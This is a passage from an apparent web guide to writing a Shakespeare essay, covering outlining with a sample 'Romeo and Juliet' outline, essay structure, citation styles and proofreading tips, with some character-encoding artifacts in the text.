Simply, write down the important interpretations and commentary you find in secondary sources and interesting quotes you find in your primary source. You may even want to add notes on your own opinion to these pages so you remember them when you begin writing your paper. Outline While this step is not necessary to writing a paper, some students may find it useful to begin their paper by writing an outline. Even this article was written beginning with an outline! This shows that knowing how to use an outline can be practical, not only in school but in a career. There are several online outline makers that you can use to start you off with. One great outline maker is the Cambridge Rindge and Latin School Outline. Click on the link to go to their website. To use this tool, you can simply fill in the text boxes as labeled. Once you are done, click â€Å"Create Outline.†Ã‚   Below is a sample outline we made with the website that could be used for a Shakespeare essay. Romeo and Juliet: More Tragic than Romantic Jane Doe I.  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Introduction A.  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Background B.  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   When Romeo and Juliet was originally written, it was meant to be portrayed as a tragedy. Over the years, viewers have begun to see the play as more romantic. This essay will discuss what moments makes the play a tragedy. II.  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Young Love Gone Wrong A.  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Juliet was supposed to be with Paris, a much older man. However, she could not talk to her father about this, which may have prompted her to seek a relationship with the much younger Romeo. Essay Formatting Most essays are formatted in the same way. Below is a short list of the components usually included in an essay. Keep this list in mind as you are writing your paper. Once you have looked them over, skip down to the next paragraph to learn more about each section. Title Thesis statement/introduction Body paragraphs Conclusion Reference Page Title Writing the title can be a daunting task. Some students get so caught up on writing a title that they don’t get started on their paper. To avoid having this happen to you, simply wait until you are finished writing your paper to make up a title. Once you have everything written, it should be much easier to think of a title. If all else fails, simply make the title the name of the play you are looking over, or even a quote from the play. Thesis Statement/Introduction Like the title, an introduction can also be hard to write at first. After all, how are you supposed to write a paragraph on what your essay is about when you haven’t even written your essay yet? Like the title, you can wait until you have finished the rest of your paper to write the introduction. Just go back and write it in. It’s as simple as that. The thesis statement is always a part of the introduction. It is usually one of the last sentences in the introductory paragraph. Dictionary.com says it best when they write that a thesis statement is, â€Å"a short statement, usually one sentence, that summarizes the main point or claim of an essay, research paper, etc† So, try to state the main point of your essay. It doesn’t need to be too long, just so long as the reader knows what the essay is about by reading your thesis statement. Body Paragraphs Body paragraphs will make up the bulk of your paper. This is where you will state your opinions, or main points, and back up your claims using either lines from the plays/sonnets or with information from a secondary source. The first sentence of each body paragraph (most essays have three) should contain the main point of the paragraph; the middle sentences should back up your main point with information; and the final sentence should summarize the paragraph. Conclusion Conclusions are usually easy enough to write. As the name implies, you will conclude your essay in this paragraph. In a way, it’s almost like your introductory paragraph. Restate the main point of your whole paper, as well as the main points of your body paragraphs, and that’s it! Reference Pages Depending on your teacher’s requirements, you are likely to need to have a reference page at the end of your paper. Most English classes will require you format your paper with the MLA (Modern Language Association) formatting. However, other teachers or classes may require you to use another style guide. For a list of all style guides, with links on how to use them, click here. Post-Writing Tips Once you are done writing your paper, there are a couple of things you can do to make sure your essay is great. The first thing to do is to go over a general edit of your paper. There are a few ways to do this. You may want to begin by reading over your essay or having someone else look over your essay, to see what mistakes you can catch. After that, you can use a grammar/spelling checker, like Grammarly, to catch and fix those kinds of mistakes. The next thing you will want to do before you turn in your paper is to make sure that you have put in all of your references. Some classes may only require you to have a references page, while others will require you to also use internal citations. You can use this link to find the requirements for doing either of these tasks with whatever style guide your teacher requires you to use. We hope that this guide on how to write a Shakespeare essay helps you to write your paper, whether it be for a college or high school class. Using our   Shakespeare essay tips and topic ideas above, you are sure to have a great start on your paper already. Good luck!